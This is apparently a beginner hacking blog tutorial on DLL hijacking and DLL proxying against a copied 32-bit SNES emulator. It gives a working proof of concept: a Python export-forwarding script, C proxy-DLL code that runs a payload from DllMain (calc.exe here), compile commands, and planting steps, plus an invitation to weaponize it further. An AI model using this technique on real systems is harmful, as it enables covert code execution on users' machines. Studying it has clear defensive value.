Categories
Hacking

DLL Hijacking & DLL Proxying An SNES Emulator

Time: 30 mins

Difficulty: Beginner

Skills: Custom Exploit Development, DLL Hijacking

30 minute exploit dev post. Let’s get it.

I fell down another security research rabbit hole and when I snapped out of it, I found myself….

…playing Chrono Trigger? Wait, what?

That program in the picture is an SNES Emulator and, if you’re like me, you might have spent a good deal of time in your childhood/barracks dwelling days using one. I won’t link to where you can find these things because technically they violate copyright or DMCA or whatever, but they aren’t hard to find.

And we can chalk up my usage in this example to security research so HAH. (plz be cool nintendo)

I hauled out my old external hard drive and found my zipped up copy of the SNES9x emulator, booted it up, and found a DLL Hijacking vulnerability that was calling to me to exploit it.

DLL Hijacking Overview

A crash-course on DLL Hijacking:

Programs that are written in x86 and x64 architecture make use of Dynamic-linked Libraries (DLLs) to offer flexibility and portability during software development. DLLs are basically tiny programs that contain reusable code, resources, and variables. By their nature, they do not have an Entry Point and require a parent executable to invoke them at runtime. If you just have a DLL by itself, you can use something like Rundll32.exe to run the contents of that specific DLL without needing a parent program. Otherwise, functions within your DLL can be called by the parent executable using the LoadLibrary API call to import them into the program dynamically.

Now, sometimes software development doesn’t go quite according to plan. And every now and then, you might write a program that calls to load a DLL which doesn’t exist. Or, in the case of the SNES emulator, you might suffer from what amounts to a pathing vulnerability, which basically means that the program attempts to load in the DLL from the current working directory, then looks elsewhere.

Such was the case when I loaded up Procmon and ran the SNES emulator:

In the picture above, the SNES emulator has been placed on the Desktop of my FlareVM host. When the program attempts to load in opengl32.dll, it first checks the current working directory of C:\Users\Husky\Desktop\SNES32bit\. And when it fails to find the specified DLL here, it goes to the SysWOW64 directory and loads in the one that exists there successfully. This SNES emulator is a 32 bit application, so it makes sense that it would check the SysWOW64 for its required DLLs.

Remember, System32 and SysWOW64 have kind of an Iceland/Greenland situation going on. On a standard x64 machine, your 64-bit system directory is System32, and your 32-bit system directory is SysWOW64. Great work with that one, Microsoft.

Anyway, this presents a vulnerability. The program is attempting to load in a DLL from a directory that we can write into. This is because this program has been copied to the Desktop and not installed in a standard program directory, like Program Files.

It’s not hard to imagine a scenario in which this piece of software is shared around and lots of people are simply, oh I don’t know, sharing it off of a hard drive and just copying the files to their own laptops at the barracks.

Also, making a note here, the SNES emulator has DEP but no ASLR… might come back to that at some point in the future

Now in some courses, DLL hijacking is taught by way of the following:

“Just make an MSFVenom DLL payload and swap it out for the one that the program is trying to load 4head.”

And that works. Until the program crashes or fails to load in the first place:

DOS is not in scope, folks. I think we can do better than this. Enter, DLL Proxying.

DLL Proxying

DLL Proxying is DLL Hijacking’s cooler, more successful big brother.

Consider the following:

You might be able to get shellcode execution from a DLL hijack, but the program still needs to resolve the function calls that it wanted to make from the original DLL. And your MSFVenom generated DLL does not know what to do with those requested functions, so calc.exe runs and the program crashes.

Compare this to:

In DLL Proxying, you craft a new DLL that contains pointers to the original DLL’s imported functions. You sneak your payload into one of the sections of this DLL and use the remaining space to point the executable towards the original DLL that it wants to load.

The program executes with its original intended functionality and you get payload execution.

How it do?

The Method

Using Procmon, filter for the following:

Open an executable or 10 and identify a program that attempts to load in a DLL and does not succeed. In my example, I focused on OpenGL32.dll:

Reconfigure your filters to see if this DLL is loaded in successfully at any point in the program’s execution. So broaden your search criteria by just filtering on:

If you’ve found a good DLL candidate for proxying, you might see something like this:

It’s on. Copy the successfully loaded DLL from the host to your attacker machine and name it [dllName]_original.dll. You might even get lucky and this DLL might be native on all Windows systems, so you might not even need to copy it from the target host, just copy it from your own Windows host.

On your attacker machine, use this simple Python script to pull out the exported functions from the original DLL and write them to a Module-Definition file (.def):

import pefile

dll = pefile.PE('[dllName]_orig.dll')

print("EXPORTS")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
    if export.name:
        print('{}=[dllName]_orig.{} @{}'.format(export.name.decode(), export.name.decode(), export.ordinal))

Note the two locations where the original DLL is referenced and make sure to change those values accordingly.

$ python3 def_gen.py > [dllName].def

The Module-Definition file gives information to the compiler about linked exports when a program is compiled. In this case, we’ll tell the compiler to make our proxy DLL and link it to the original DLL to point at all of its exported functions.

┌──(kali㉿kali)-[~/Desktop]
└─$ cat opengl32.def 
EXPORTS
GlmfBeginGlsBlock=opengl32_orig.GlmfBeginGlsBlock @1
GlmfCloseMetaFile=opengl32_orig.GlmfCloseMetaFile @2
GlmfEndGlsBlock=opengl32_orig.GlmfEndGlsBlock @3
GlmfEndPlayback=opengl32_orig.GlmfEndPlayback @4
GlmfInitPlayback=opengl32_orig.GlmfInitPlayback @5
GlmfPlayGlsRecord=opengl32_orig.GlmfPlayGlsRecord @6
glAccum=opengl32_orig.glAccum @7
.....

So basically, every time the executable asks “Hey DLL, where is [function]?” the proxy DLL answers “Oh yeah go check out [dllName]_original.dll and it should be there.”

Sneaky sneaky.

Now, we craft our proxy DLL. This is a very simple program written in C that exports a DLLMain function to act as the DLL’s entry point. In the DLLMain method, we sneak a call to the Payload function. That function executes and then all other requested function calls are passed to [dllName]_original.dll:

Create this C file and call it [dllName].c:

#include <processthreadsapi.h>
#include <memoryapi.h>

void Payload()
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  
  char cmd[] = "calc.exe";
  
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));

  CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
      Payload();
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    case DLL_PROCESS_DETACH:
      break;
    }
  return TRUE;
}

So far, so good.

Finally, we need to create this proxy DLL and link it with our Module-Definition file. This can be accomplished with mingw-w64, which has the requisite toolchain needed to compile our DLL. Mind your architecture here: I’m proxying the 32 bit SNES emulator, so I need to compile this for a 32 bit architecture.

If you don’t have mingw-w64 on your attack machine, simply enter:

$ sudo apt-get install mingw-w64 -y

Then, to compile our DLL:

$ i686-w64-mingw32-gcc -shared -o [dllName].dll [dllName].c [dllName].def -s

When the DLL compiles, you now should have four files to work with:

  • [dllName]_original.dll: the original DLL we pulled off the host, renamed to “_original”
  • [dllName].c: the C code for our proxy DLL that contains our payload.
  • [dllName].def: the Module-definition file that was created by using the Python script to pull out the exported function calls from the original dll.
  • [dllName].dll: the newly compiled proxy DLL.

The final step is to land the original DLL and the proxy DLL on the target host in the directory of the program. The two DLLs must be in the same directory as each other and the original program.

Once you’ve landed the two DLLs, fire up the program!

Congratulations, you have a fully functioning program loading in your proxy DLL. No crashes, no segfaults, just calc.

And speaking of calc, I’ll leave it as an exercise to the reader on how to more effectively weaponize this. But if you read the proxy DLL code carefully, it shouldn’t be too hard.

References

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.